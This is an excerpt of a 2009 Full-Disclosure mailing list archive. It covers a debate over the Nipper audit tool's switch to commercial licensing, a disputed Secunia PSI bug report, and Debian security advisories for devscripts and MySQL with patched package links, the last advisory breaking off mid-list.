References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<ff6682c60909020135j72f5524cm6fb61978e6d0a9bf@mail.gmail.com>
	<20090902094842.GA22491@alice>
Message-ID: <200909021216.31737.fizz@titania.co.uk>

It has cost me a *LOT* of money to develop Nipper. Network devices are very 
expensive as I am sure everyone knows. It also took me a *LOT* of time to 
develop Nipper. It is also true that a lot of companies use Nipper to to make 
money, such as auditing companies and internal IT departments.

During that time only 1 person has ever seen the need to donate to the 
project, even though it makes money for a *LOT* of businesses.

Nipper has had commercial licensing exclusions for a little while now. Version 
1 is now released as a full commercial version. This means that companies who 
benefit from using Nipper will now have to pay a licence fee. This fee will 
enable the purchase of more expensive network devices and further improve 
Nipper.

NOTE: Home users will be able to continue to use Nipper for free.

Nipper is a complex program that supports almost 30 devices in its present 
release. Nipper 1 has almost twice the number of code lines from the previous 
version and over triple that of the one before. It is not a simple grep of a 
configuration file and it audits a huge number of different settings and 
protocols.

Ian Ventura-Whiting


On Wednesday 02 September 2009 10:48:42 Eric Sesterhenn wrote:
> * BMF (badmotherfsckr at gmail.com) wrote:
> > On Wed, Sep 2, 2009 at 1:16 AM, Alan Buxey <A.L.M.Buxey at lboro.ac.uk> 
wrote:
> > > ouch. a couple of years ago we had some home-brew code doing the job.
> > > Nipper
> > > came along...was free..and did everything we did + a little more.
> > >
> > > but now it looks like we'll be picking up our old Perl code and fixing
> > > it up
> > > to do everything that Nipper does - and a little more.
> >
> > Was Nipper not available as source and licensed so it could be forked in
> > an event such as this? If not, consider it an object lesson in free as in
> > beer vs free as in speech.
>
> LICENSE file for nipper-cli 0.12.0 and libnipper 0.12.6 states:
>
> THIS IS IMPORTANT:
>
> libNipper and all other Nipper products are licensed under the GPL version
> 3 with the following exceptions.
>
> 1. The code cannot be used as part of a commercial product. A commercial
>    license can be arranged for the integration of Nipper with a commercial
>    product. Contact fizz at titania.co.uk for commercial licensing
> information.
>
> 2. Any code that integrates Nipper MUST display the following copyright
>    information with the programs own copyright information:
>
>    Nipper Copyright (C) 2006 - 2008 by Ian Ventura-Whiting
>
>    In order to maintain the latest copyright information for each libNipper
>    release, this information can be extracted using the API.
>
>
> Nipper is distributed in the hope that it will be useful, but WITHOUT ANY
> WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
> FOR A PARTICULAR PURPOSE. See the GNU General Public License v3 (below) for
> more details.
>
> Regards, Eric
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


From dpcybuck at gmail.com  Wed Sep  2 12:32:46 2009
From: dpcybuck at gmail.com (dpcybuck at gmail.com)
Date: Wed, 2 Sep 2009 11:32:46 +0000
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <200909021216.31737.fizz@titania.co.uk>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry><ff6682c60909020135j72f5524cm6fb61978e6d0a9bf@mail.gmail.com><20090902094842.GA22491@alice><200909021216.31737.fizz@titania.co.uk>
Message-ID: <300661724-1251891169-cardhu_decombobulator_blackberry.rim.net-1590142841-@bda565.bisx.prod.on.blackberry>

Um...so what I think I am hearing is that all versions less than 1.0, including 0.12.6 are not commercial, right?


Sent from my Verizon Wireless BlackBerry

-----Original Message-----
From: Fizz <fizz at titania.co.uk>

Date: Wed, 2 Sep 2009 12:16:31 
To: <full-disclosure at lists.grok.org.uk>
Subject: Re: [Full-disclosure] Nipper licensing


It has cost me a *LOT* of money to develop Nipper. Network devices are very 
expensive as I am sure everyone knows. It also took me a *LOT* of time to 
develop Nipper. It is also true that a lot of companies use Nipper to to make 
money, such as auditing companies and internal IT departments.

During that time only 1 person has ever seen the need to donate to the 
project, even though it makes money for a *LOT* of businesses.

Nipper has had commercial licensing exclusions for a little while now. Version 
1 is now released as a full commercial version. This means that companies who 
benefit from using Nipper will now have to pay a licence fee. This fee will 
enable the purchase of more expensive network devices and further improve 
Nipper.

NOTE: Home users will be able to continue to use Nipper for free.

Nipper is a complex program that supports almost 30 devices in its present 
release. Nipper 1 has almost twice the number of code lines from the previous 
version and over triple that of the one before. It is not a simple grep of a 
configuration file and it audits a huge number of different settings and 
protocols.

Ian Ventura-Whiting


On Wednesday 02 September 2009 10:48:42 Eric Sesterhenn wrote:
> * BMF (badmotherfsckr at gmail.com) wrote:
> > On Wed, Sep 2, 2009 at 1:16 AM, Alan Buxey <A.L.M.Buxey at lboro.ac.uk> 
wrote:
> > > ouch. a couple of years ago we had some home-brew code doing the job.
> > > Nipper
> > > came along...was free..and did everything we did + a little more.
> > >
> > > but now it looks like we'll be picking up our old Perl code and fixing
> > > it up
> > > to do everything that Nipper does - and a little more.
> >
> > Was Nipper not available as source and licensed so it could be forked in
> > an event such as this? If not, consider it an object lesson in free as in
> > beer vs free as in speech.
>
> LICENSE file for nipper-cli 0.12.0 and libnipper 0.12.6 states:
>
> THIS IS IMPORTANT:
>
> libNipper and all other Nipper products are licensed under the GPL version
> 3 with the following exceptions.
>
> 1. The code cannot be used as part of a commercial product. A commercial
>    license can be arranged for the integration of Nipper with a commercial
>    product. Contact fizz at titania.co.uk for commercial licensing
> information.
>
> 2. Any code that integrates Nipper MUST display the following copyright
>    information with the programs own copyright information:
>
>    Nipper Copyright (C) 2006 - 2008 by Ian Ventura-Whiting
>
>    In order to maintain the latest copyright information for each libNipper
>    release, this information can be extracted using the API.
>
>
> Nipper is distributed in the hope that it will be useful, but WITHOUT ANY
> WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
> FOR A PARTICULAR PURPOSE. See the GNU General Public License v3 (below) for
> more details.
>
> Regards, Eric
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

From Valdis.Kletnieks at vt.edu  Wed Sep  2 15:33:40 2009
From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu)
Date: Wed, 02 Sep 2009 10:33:40 -0400
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: Your message of "Wed, 02 Sep 2009 11:48:42 +0200."
	<20090902094842.GA22491@alice>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>
	<20090902081635.GA6087@lboro.ac.uk>
	<ff6682c60909020135j72f5524cm6fb61978e6d0a9bf@mail.gmail.com>
	<20090902094842.GA22491@alice>
Message-ID: <74081.1251902020@turing-police.cc.vt.edu>

On Wed, 02 Sep 2009 11:48:42 +0200, Eric Sesterhenn said:

> LICENSE file for nipper-cli 0.12.0 and libnipper 0.12.6 states:
> 
> THIS IS IMPORTANT:
> 
> libNipper and all other Nipper products are licensed under the GPL version 3
> with the following exceptions.

> 1. The code cannot be used as part of a commercial product.

I wonder how Rich Stallman feels about the concept of 'GPLV3 plus exceptions'.

Oh, we already know.  Section 10 of the GPLV3 says:
"You may not impose any further restrictions on the exercise of the rights
granted or affirmed under this License. "

And that would certainly qualify as a "further restriction". (In particular,
"as part of a commercial product" has some serious GPL issues if the person is
trying to use it as part of a commercial product that is itself under GPLV3).

Your second exception (regarding copyright info) can probably be rephrased
so it's aggreeable with clause 7(c).

You might want to run this past the good guys at the FSF and get their
reaction.
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 226 bytes
Desc: not available
Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090902/5018c6fa/attachment.bin 

From fizz at titania.co.uk  Wed Sep  2 16:06:05 2009
From: fizz at titania.co.uk (Fizz)
Date: Wed, 2 Sep 2009 16:06:05 +0100
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <300661724-1251891169-cardhu_decombobulator_blackberry.rim.net-1590142841-@bda565.bisx.prod.on.blackberry>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<200909021216.31737.fizz@titania.co.uk>
	<300661724-1251891169-cardhu_decombobulator_blackberry.rim.net-1590142841-@bda565.bisx.prod.on.blackberry>
Message-ID: <200909021606.05509.fizz@titania.co.uk>

No, since the Nipper 0.11.x release series Nipper has included commercial use 
clauses in its license.

On Wednesday 02 September 2009 12:32:46 dpcybuck at gmail.com wrote:
> Um...so what I think I am hearing is that all versions less than 1.0,
> including 0.12.6 are not commercial, right?
>
>
> Sent from my Verizon Wireless BlackBerry
>
> -----Original Message-----
> From: Fizz <fizz at titania.co.uk>
>
> Date: Wed, 2 Sep 2009 12:16:31
> To: <full-disclosure at lists.grok.org.uk>
> Subject: Re: [Full-disclosure] Nipper licensing
>
>
> It has cost me a *LOT* of money to develop Nipper. Network devices are very
> expensive as I am sure everyone knows. It also took me a *LOT* of time to
> develop Nipper. It is also true that a lot of companies use Nipper to to
> make money, such as auditing companies and internal IT departments.
>
> During that time only 1 person has ever seen the need to donate to the
> project, even though it makes money for a *LOT* of businesses.
>
> Nipper has had commercial licensing exclusions for a little while now.
> Version 1 is now released as a full commercial version. This means that
> companies who benefit from using Nipper will now have to pay a licence fee.
> This fee will enable the purchase of more expensive network devices and
> further improve Nipper.
>
> NOTE: Home users will be able to continue to use Nipper for free.
>
> Nipper is a complex program that supports almost 30 devices in its present
> release. Nipper 1 has almost twice the number of code lines from the
> previous version and over triple that of the one before. It is not a simple
> grep of a configuration file and it audits a huge number of different
> settings and protocols.
>
> Ian Ventura-Whiting
>
> On Wednesday 02 September 2009 10:48:42 Eric Sesterhenn wrote:
> > * BMF (badmotherfsckr at gmail.com) wrote:
> > > On Wed, Sep 2, 2009 at 1:16 AM, Alan Buxey <A.L.M.Buxey at lboro.ac.uk>
>
> wrote:
> > > > ouch. a couple of years ago we had some home-brew code doing the job.
> > > > Nipper
> > > > came along...was free..and did everything we did + a little more.
> > > >
> > > > but now it looks like we'll be picking up our old Perl code and
> > > > fixing it up
> > > > to do everything that Nipper does - and a little more.
> > >
> > > Was Nipper not available as source and licensed so it could be forked
> > > in an event such as this? If not, consider it an object lesson in free
> > > as in beer vs free as in speech.
> >
> > LICENSE file for nipper-cli 0.12.0 and libnipper 0.12.6 states:
> >
> > THIS IS IMPORTANT:
> >
> > libNipper and all other Nipper products are licensed under the GPL
> > version 3 with the following exceptions.
> >
> > 1. The code cannot be used as part of a commercial product. A commercial
> >    license can be arranged for the integration of Nipper with a
> > commercial product. Contact fizz at titania.co.uk for commercial licensing
> > information.
> >
> > 2. Any code that integrates Nipper MUST display the following copyright
> >    information with the programs own copyright information:
> >
> >    Nipper Copyright (C) 2006 - 2008 by Ian Ventura-Whiting
> >
> >    In order to maintain the latest copyright information for each
> > libNipper release, this information can be extracted using the API.
> >
> >
> > Nipper is distributed in the hope that it will be useful, but WITHOUT ANY
> > WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
> > FOR A PARTICULAR PURPOSE. See the GNU General Public License v3 (below)
> > for more details.
> >
> > Regards, Eric
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


From ad_lists at netragard.com  Wed Sep  2 17:06:22 2009
From: ad_lists at netragard.com (Adriel T. Desautels)
Date: Wed, 2 Sep 2009 12:06:22 -0400
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <20090902081635.GA6087@lboro.ac.uk>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>
	<20090902081635.GA6087@lboro.ac.uk>
Message-ID: <3A18EB0A-125E-4EE5-88AE-F7D128D491A4@netragard.com>

You going to share that perl code so that we can help you make it even  
better?


On Sep 2, 2009, at 4:16 AM, Alan Buxey wrote:

> Hi,
>
>> Nipper 	Unlimited devices 	1 Year 	?7000
>
> <snip>
>
> ouch. a couple of years ago we had some home-brew code doing the  
> job. Nipper
> came along...was free..and did everything we did + a little more.
>
> but now it looks like we'll be picking up our old Perl code and  
> fixing it up
> to do everything that Nipper does - and a little more.
>
> :-(
>
>
> alan
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/



	Adriel T. Desautels
	ad_lists at netragard.com
         --------------------------------------

	Subscribe to our blog
         http://snosoft.blogspot.com


From A.L.M.Buxey at lboro.ac.uk  Wed Sep  2 18:59:49 2009
From: A.L.M.Buxey at lboro.ac.uk (Alan Buxey)
Date: Wed, 2 Sep 2009 18:59:49 +0100
Subject: [Full-disclosure] Nipper licensing
In-Reply-To: <3A18EB0A-125E-4EE5-88AE-F7D128D491A4@netragard.com>
References: <1056085496-1251839280-cardhu_decombobulator_blackberry.rim.net-1105781716-@bda565.bisx.prod.on.blackberry>
	<efbe05357777d66ff5323b7b417f390e.squirrel@www.slave-tothe-box.net>
	<20090902081635.GA6087@lboro.ac.uk>
	<3A18EB0A-125E-4EE5-88AE-F7D128D491A4@netragard.com>
Message-ID: <20090902175949.GB7637@lboro.ac.uk>

Hi,
> You going to share that perl code so that we can help you make it even  
> better?

I believe in Open Source - GPL or BSD - and the best way to make
a better place is to release code and allow as many skilled people
to work on it as possible. the internet would be dead without
such philosophy.

I can understand the authors private reasons for the change in Nipper
but the pros/cons of GPL were surely known from the early days?

not sure how making it 100% commercial will help - the old version 
is out there and is useful (with some niggles)..i expect some
person will fork it.. call it 'slipper' or somesuch. A better route
would be the 'make a commercial version' with more features,
support, etc. 

regarding OS - unlss i work on it privately and start from scratch
then my paymasters need to agree on IP/copyright :-|

alan


From fw at deneb.enyo.de  Wed Sep  2 19:56:06 2009
From: fw at deneb.enyo.de (Florian Weimer)
Date: Wed, 02 Sep 2009 18:56:06 +0000
Subject: [Full-disclosure] [SECURITY] [DSA 1878-1] New devscripts packages
	fix remote code execution
Message-ID: <87y6oxp455.fsf@mid.deneb.enyo.de>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1878-1                  security at debian.org
http://www.debian.org/security/                           Florian Weimer
September 02, 2009                    http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : devscripts
Vulnerability  : missing input sanitation
Problem type   : remote
Debian-specific: yes
CVE Id(s)      : CVE-2009-2946

Raphael Geissert discovered that uscan, a program to check for
availability of new source code versions which is part of the
devscripts package, runs Perl code downloaded from potentially
untrusted sources to implement its URL and version mangling
functionality.  This update addresses this issue by reimplementing the
relevant Perl operators without relying on the Perl interpreter,
trying to preserve backwards compatibility as much as possible.

For the old stable distribution (etch), this problem has been fixed in
version 2.9.26etch4.

For the stable distribution (lenny), this problem has been fixed in
version 2.10.35lenny6.

For the unstable distribution (sid), this problem will be fixed in
version 2.10.54.

We recommend that you upgrade your devscripts package.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Source archives:

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4.tar.gz
    Size/MD5 checksum:   432330 6d13d4ec0e161a62d0babd45b58e9f75
  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4.dsc
    Size/MD5 checksum:      682 0cd547c5e78642f16762e0d687997563

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_alpha.deb
    Size/MD5 checksum:   389730 42458f68b3f75d87bb0397e6befde980

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_amd64.deb
    Size/MD5 checksum:   399454 8f648a32c698f15d4c6c2a90f9cdc19a

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_arm.deb
    Size/MD5 checksum:   396212 3187e3df12e04da5b2abb3aabf63f293

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_hppa.deb
    Size/MD5 checksum:   400058 bc84514b7d6e87c2bace8ee054cea2b6

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_i386.deb
    Size/MD5 checksum:   394688 35c9379172ffb63d89f512e7b46653db

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_ia64.deb
    Size/MD5 checksum:   391116 f0d5a42de7f2f36d1433c550655c9cc9

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_mips.deb
    Size/MD5 checksum:   396716 30793d09ae26fdd5fbcf47fc011fb7d9

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_mipsel.deb
    Size/MD5 checksum:   389640 750928f91a3066a5288f807cd5afa953

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_powerpc.deb
    Size/MD5 checksum:   391870 5b5b3fcbf001a6d390515fb64829ba80

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_s390.deb
    Size/MD5 checksum:   389540 40471968ab5a26bb0227b4954814a270

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.9.26etch4_sparc.deb
    Size/MD5 checksum:   397816 5f773402f6ebf2b00170d46686ee0418

Debian GNU/Linux 5.0 alias lenny
- --------------------------------

Source archives:

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6.tar.gz
    Size/MD5 checksum:   602179 4bc83fe370d730667e9fe8fe222bf115
  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6.dsc
    Size/MD5 checksum:     1417 6cd189a95491bdd4ce32e908acd55cd8

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_alpha.deb
    Size/MD5 checksum:   509058 dd02c9afaf74b8633699b7e5aee3aef3

amd64 architecture (AMD x86_64 (AMD64))

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_amd64.deb
    Size/MD5 checksum:   519036 3f274c25fabc3d22cb329c621dd0f630

arm architecture (ARM)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_arm.deb
    Size/MD5 checksum:   520644 e4ee996772f786c6883c779420125dda

armel architecture (ARM EABI)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_armel.deb
    Size/MD5 checksum:   520300 eae935b7a416989bb2cddabae3870e37

hppa architecture (HP PA RISC)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_hppa.deb
    Size/MD5 checksum:   524510 648acee4d3d9ed48eb2415ce36c5519e

i386 architecture (Intel ia32)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_i386.deb
    Size/MD5 checksum:   517734 f5e74325fdfda2cf7cfb690be807a1de

ia64 architecture (Intel ia64)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_ia64.deb
    Size/MD5 checksum:   510044 bde1efc77895c33d6e0ff5e49fcea63f

mips architecture (MIPS (Big Endian))

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_mips.deb
    Size/MD5 checksum:   508946 2e3c9714a01e41655c467c2fd4f41f09

mipsel architecture (MIPS (Little Endian))

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_mipsel.deb
    Size/MD5 checksum:   508980 4cc636a2e0391f8405808b80529020a6

powerpc architecture (PowerPC)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_powerpc.deb
    Size/MD5 checksum:   511348 96628900942da87fed1133f6d97ed8ea

s390 architecture (IBM S/390)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_s390.deb
    Size/MD5 checksum:   508898 f6eaf845971c27830890021c1106c19b

sparc architecture (Sun SPARC/UltraSPARC)

  http://security.debian.org/pool/updates/main/d/devscripts/devscripts_2.10.35lenny6_sparc.deb
    Size/MD5 checksum:   523130 773b2a7f70551467601af5d1daf8a776


  These files will probably be moved into the stable distribution on
  its next update.

- ---------------------------------------------------------------------------------
For apt-get: deb http://security.debian.org/ stable/updates main
For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main
Mailing list: debian-security-announce at lists.debian.org
Package info: `apt-cache show <pkg>' and http://packages.debian.org/<pkg>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iQEcBAEBAgAGBQJKnsCQAAoJEL97/wQC1SS+jq4IAK6B72weqFDOyezbc0PsTxsA
Ipgg6bkbtRXwqOvllAP9wngvYLz+Az0GLoYFUVsyCUcRzqPWbDJQQKo+uWkPfliE
ArEFHHz4Vsk7NYohT2R4DrWvkIA4fI621hUOHJb7pDa7jP2BDInm30fiZHkBIir5
FrUdabAUl9FU2SYq0dWucxTPSCoZOaS5ZjImwYTzIAeLV4NL8uOpR42lZjg2mCa3
7MZ6EauIhCCV4RmA+5wHyggDa6uCXL1x9UQU3f5vah0HCHT5VehwxFzCgmSx0v9Z
v0deqHKEe/9P+7J8hJ97wHFOd9VV9ViE3W55IirzMqRioOrpZxoeAXlsZ/gEqf8=
=A/Xm
-----END PGP SIGNATURE-----


From extraexploit at gmail.com  Wed Sep  2 20:15:23 2009
From: extraexploit at gmail.com (exploit dev)
Date: Wed, 2 Sep 2009 21:15:23 +0200
Subject: [Full-disclosure] Secunia PSI (RC3) - memory corruption condition
Message-ID: <ed6983ac0909021215n10a4bfcna316025ee8268ff8@mail.gmail.com>

Hi
I have detect, in some circumstance, a memory corruption issue in Secunia
PSI (release candidate 3).
The vendor was contacted without response.

...I know that this kind of issues in release candidate are not so rare but
if you are interested check:

http://extraexploit.blogspot.com/2009/09/secunia-psi-rc3-undefined-memory.html


Regards
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090902/d28690e8/attachment.html 

From tk at secunia.com  Wed Sep  2 21:27:18 2009
From: tk at secunia.com (Thomas Kristensen)
Date: Wed, 02 Sep 2009 22:27:18 +0200
Subject: [Full-disclosure] Secunia PSI (RC3) - memory
	corruption	condition
In-Reply-To: <ed6983ac0909021215n10a4bfcna316025ee8268ff8@mail.gmail.com>
References: <ed6983ac0909021215n10a4bfcna316025ee8268ff8@mail.gmail.com>
Message-ID: <1251923238.7050.64.camel@ts-hq-3>

Hi,

Thank you for the report.

Based on the provided information, this is not a security issue (as
securityfocus wrongfully hasted to conclude), but rather a bug (in an ancient
release candidate).

If you have any further details, please send those to
security at secunia.com.

-- 
Kind regards,

Thomas Kristensen
CTO

Secunia 
Weidekampsgade 14A
DK-2300 Copenhagen S
Denmark

Phone:  +45 7020 5144
Fax:    +45 7020 5145

Looking for a vulnerability research and reversing job?
http://secunia.com/corporate/jobs/open_positions/


On Wed, 2009-09-02 at 21:15 +0200, exploit dev wrote:
> Hi 
> I have detect, in some circumstance, a memory corruption issue in
> Secunia PSI (release candidate 3). 
> The vendor was contacted without response.
> 
> ...I know that this kind of issues in release candidate are not so
> rare but if you are interested check:
> 
> http://extraexploit.blogspot.com/2009/09/secunia-psi-rc3-undefined-memory.html
> 
> 
> Regards
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


From extraexploit at gmail.com  Thu Sep  3 00:40:54 2009
From: extraexploit at gmail.com (exploit dev)
Date: Thu, 3 Sep 2009 01:40:54 +0200
Subject: [Full-disclosure] Secunia PSI (RC3) - memory corruption
	condition
In-Reply-To: <1251923238.7050.64.camel@ts-hq-3>
References: <ed6983ac0909021215n10a4bfcna316025ee8268ff8@mail.gmail.com>
	<1251923238.7050.64.camel@ts-hq-3>
Message-ID: <ed6983ac0909021640g1e1d4b01ua7d0f97ae222a9e@mail.gmail.com>

Hi Thomas,
my post is not to intend for malicious activities. In report I write that is
usually for rc stage, discovery condition of this kind.
Usually these ancient bugs, IMHO, may be used for support analysis based on
binary diff using the historical releases of an application for obtain a
delta
of "critical" zone. But, again, it's only my opinion.

Thank you for your answer.

Kind regards.

On Wed, Sep 2, 2009 at 10:27 PM, Thomas Kristensen <tk at secunia.com> wrote:

> Hi,
>
> Thank you for the report.
>
> Based on the provided information, this is not a security issue (as
> securityfocus wrongfully hasted to conclude), but rather a bug (in an
> ancient
> release candidate).
>
> If you have any further details, please send those to
> security at secunia.com.
>
> --
> Kind regards,
>
> Thomas Kristensen
> CTO
>
> Secunia
> Weidekampsgade 14A
> DK-2300 Copenhagen S
> Denmark
>
> Phone:  +45 7020 5144
> Fax:    +45 7020 5145
>
> Looking for a vulnerability research and reversing job?
> http://secunia.com/corporate/jobs/open_positions/
>
>
> On Wed, 2009-09-02 at 21:15 +0200, exploit dev wrote:
> > Hi
> > I have detect, in some circumstance, a memory corruption issue in
> > Secunia PSI (release candidate 3).
> > The vendor was contacted without response.
> >
> > ...I know that this kind of issues in release candidate are not so
> > rare but if you are interested check:
> >
> >
> http://extraexploit.blogspot.com/2009/09/secunia-psi-rc3-undefined-memory.html
> >
> >
> > Regards
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
>


--
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20090903/127244ea/attachment.html 

From seb at debian.org  Wed Sep  2 19:20:43 2009
From: seb at debian.org (Sebastien Delafond)
Date: Wed, 2 Sep 2009 20:20:43 +0200
Subject: [Full-disclosure] [SECURITY] [DSA 1877-1] New mysql-dfsg-5.0
 packages fix arbitrary code execution
Message-ID: <20090902182043.GA24529@galadriel.inutil.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
Debian Security Advisory DSA-1877-1                  security at debian.org
http://www.debian.org/security/                       Sebastien Delafond
September 02, 2009                    http://www.debian.org/security/faq
- ------------------------------------------------------------------------

Package        : mysql-dfsg-5.0
Vulnerability  : denial of service/execution of arbitrary code
Problem type   : remote (for authenticated users only)
Debian-specific: no
CVE Id(s)      : CVE-2009-2446
Debian Bug     : 536726

In MySQL 4.0.0 through 5.0.83, multiple format string vulnerabilities
in the dispatch_command() function in libmysqld/sql_parse.cc in mysqld
allow remote authenticated users to cause a denial of service (daemon
crash) and potentially the execution of arbitrary code via format
string specifiers in a database name in a COM_CREATE_DB or 
COM_DROP_DB request.

For the stable distribution (lenny), this problem has been fixed in
version 5.0.51a-24+lenny2.

For the old stable distribution (etch), this problem has been fixed in
version 5.0.32-7etch11.

We recommend that you upgrade your mysql packages.

Upgrade instructions
- --------------------

wget url
        will fetch the file for you
dpkg -i file.deb
        will install the referenced file.

If you are using the apt-get package manager, use the line for
sources.list as given below:

apt-get update
        will update the internal database
apt-get upgrade
        will install corrected packages

You may use an automated update by adding the resources from the
footer to the proper configuration.


Debian GNU/Linux 4.0 alias etch
- -------------------------------

Oldstable updates are available for alpha, amd64, arm, hppa, i386, mips, mipsel, powerpc, and sparc.
Packages for s390 and ia64 will be provided later.

Source archives:

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.32-7etch11.dsc
    Size/MD5 checksum:     1127 04d446b8c3d2197749a1f2fa2f4d0425
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.32.orig.tar.gz
    Size/MD5 checksum: 16439441 f99df050b0b847adf7702b44e79ac877
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-dfsg-5.0_5.0.32-7etch11.diff.gz
    Size/MD5 checksum:   317868 a6d964d228f060e736c7a4893b635a7b

Architecture independent packages:

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-server_5.0.32-7etch11_all.deb
    Size/MD5 checksum:    48568 f461780f168fdd796d64de29d65f780f
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-client_5.0.32-7etch11_all.deb
    Size/MD5 checksum:    46498 8289827ff2d32c3f186e8315bffd8623
  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/mysql-common_5.0.32-7etch11_all.deb
    Size/MD5 checksum:    55722 d50cd81c4de475f456be6c85658bd1f7

alpha architecture (DEC Alpha)

  http://security.debian.org/pool/updates/main/m/mysql-dfsg-5.0/libmysqlclient15-dev_5.0.32-7etch11_alpha.deb
